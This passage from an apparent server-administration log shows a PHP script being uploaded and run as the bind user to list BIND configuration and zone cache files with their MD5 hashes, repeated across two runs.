	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 18:44:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp383750; rm /tmp/pkp383750'

2026-04-24 18:44:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:27:42: Establishing a connection
2026-04-24 19:27:42: 

PUT: /tmp/pkp393666

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:27:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp393666; rm /tmp/pkp393666'

2026-04-24 19:27:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
